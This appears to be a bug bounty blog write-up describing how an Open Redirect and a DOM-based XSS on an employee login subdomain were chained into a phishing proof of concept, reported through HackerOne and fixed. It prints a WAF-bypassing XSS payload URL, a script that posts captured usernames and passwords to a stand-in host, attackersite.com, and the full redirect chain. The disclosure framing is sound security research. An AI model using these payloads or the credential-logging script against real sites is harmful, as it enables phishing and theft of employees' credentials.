Chaining Open Redirect to XSS: A $XXX Phishing Nightmare

A Hacker's Blog | ~root@clover:

The Low Down [TL;DR]:

I uncovered an Open Redirect and DOM-based XSS combo on an employee login subdomain of a major organization’s web app. The Open Redirect allowed arbitrary domain redirection, while the XSS enabled me to inject a phishing page mimicking the login form. By chaining these, I created a proof-of-concept (PoC) showing how an attacker could steal employee credentials with a single malicious link. Reported through HackerOne, the medium-severity bug (CVSS 6.5) was triaged, retested, and resolved, earning me a $XXX bounty.

Recon and the Open Redirect

While enumerating subdomains in the *.target.com scope, I landed on an employee login page at [redacted-subdomain].target.com/login/SMLogin.jsp. The URL included several parameters, but one stood out: TARGET=. Its value was a URL, which screamed potential Open Redirect. Even though Open Redirects were out of scope for the program, I suspected I could chain it with another vuln for impact.

To test, I replaced the TARGET value with https://www.google.com, forming:

https://[redacted-subdomain].target.com/login/SMLogin.jsp?TYPE=33554433&REALMOID=06-384757d4-b297-1049-8aa2-848677200cb3&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=AxcCPB04X5IT4Vn6KLf00bpd7uyL4rsjvQqeeDANcRCXzGYomjR9rtDFfy9JPsKb&TARGET=$SM$https://www.google.com

Submitting the login form triggered a redirect to Google—bingo! The TARGET parameter accepted any domain, not just *.target.com. Alone, this wasn’t reportable, but it set the stage for something bigger.

Discovering DOM XSS

Next, I explored another endpoint on the same subdomain: /login/redirectTarget.jsp?target=. This looked suspiciously similar to a previous XSS find, so I dug into the page’s JavaScript. Sure enough, I found a vulnerable loadParentURL() function:

function loadParentURL(){
    document.cookie = "INVALID_CREDENTIALS=null";
    parent.location.href='javascript:kikou=document;kikou.body.innerHTML=decodeURI(location.hash)';
}
window.onload = function(){
    setTimeout("loadParentURL()", 500);
};

The target parameter was assigned to parent.location.href without sanitization, and location.hash was decoded into the page’s DOM. This screamed DOM XSS. I crafted a payload to bypass the Akamai Ghost WAF:

javascript:kikou=document;kikou.body.innerHTML=decodeURI(location.hash)#<img%20src=x%20onerror=alert(document.domain)>

The full PoC URL was:

https://[redacted-subdomain].target.com/login/redirectTarget.jsp?target=javascript:kikou=document;kikou.body.innerHTML=decodeURI(location.hash)#%3Cimg%20src=x%20onerror=alert(document.domain)%3E

After a 5-second delay, the page loaded, executed the payload, and popped an alert with document.domain. The WAF didn’t catch it, thanks to the unconventional payload structure.

Chaining for Account Takeover

With Open Redirect and XSS in hand, I aimed for maximum impact: a phishing attack to steal employee credentials. My plan was to:

  1. Use XSS to render a fake login page on the legitimate subdomain.

  2. Use Open Redirect to lure victims to the XSS payload via a seemingly legit link.

I tried embedding the login page in an iframe, but Content Security Policy (CSP) blocked external sources. So, I pivoted to crafting a full HTML login page, mimicking the real one, and encoding it into the XSS payload. The payload included a script to log form inputs to a PoC server:

function logFormData(event) {
    event.preventDefault();
    var userID = document.getElementById("userID").value;
    var password = document.getElementById("password").value;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://attackersite.com/log.php", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("userID=" + encodeURIComponent(userID) + "&password=" + encodeURIComponent(password));
}

The encoded HTML was massive, making the XSS URL too long for the Open Redirect to handle. I shortened it using TinyURL, yielding https://tinyurl.com/VALUE. Then, I appended this to the Open Redirect URL:

https://[redacted-subdomain].target.com/login/SMLogin.jsp?TYPE=33554433&REALMOID=06-ffe8ae24-1680-10ae-9695-848677200000&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=$SM$HzRT474xH0KgFRIemeYMmnQYtCr%2BCp2CMEPiKKHE3JZhoCYBZr82ZPDcH49Qujt7&TARGET=%24SM%24https://tinyurl.com/VALUE

The Attack Flow

Here’s how it works:

  1. A victim receives the Open Redirect URL, which looks like a legit login link ([redacted-subdomain].target.com).

  2. They enter credentials on the real login page and submit.

  3. The Open Redirect sends them to the TinyURL, which resolves to the XSS URL.

  4. The XSS payload renders a fake login page, identical to the real one.

  5. The victim, thinking they mistyped their password, tries again. Their credentials are logged to my PoC server.

The beauty? The domain stays [redacted-subdomain].target.com, making the phishing page look legit to non-technical users.

Impact

This vuln combo is a hacker’s dream. The XSS allows arbitrary JavaScript execution, while the Open Redirect disguises malicious links as trusted ones. Chained together, they enable:

  • Credential theft via phishing, potentially leading to account takeover.

  • Escalation to higher privileges if employee accounts access sensitive systems.

  • Erosion of user trust and potential regulatory fallout.

The medium severity (CVSS 6.5) reflects the need for user interaction but underscores the high impact on employee accounts.

Reporting the Bug

I submitted the report on April 12, 2024, via HackerOne, including the PoC video, URLs, and a detailed explanation of the vuln chain and phishing impact. I noted that the issue affected both staging and production but reported it once to avoid duplication. The bug was triaged quickly, but resolution dragged until February 2025. After a couple of follow-ups, the team confirmed the fix post-retesting.

Final Thoughts

This was a thrilling chain—turning an out-of-scope Open Redirect into a phishing powerhouse with XSS. The CSP roadblock forced me to get creative, and shortening the payload with TinyURL was the cherry on top. The $XXX bounty was a fair reward for the effort, though the long wait tested my nerves. My takeaway? Always look for ways to chain low-severity bugs for maximum impact, and don’t underestimate redirect parameters. Big thanks to the program for resolving this and keeping the skies secure! 😎

Want to follow my bug bounty adventures? Catch me on Twitter @actuallyclover!

Resources: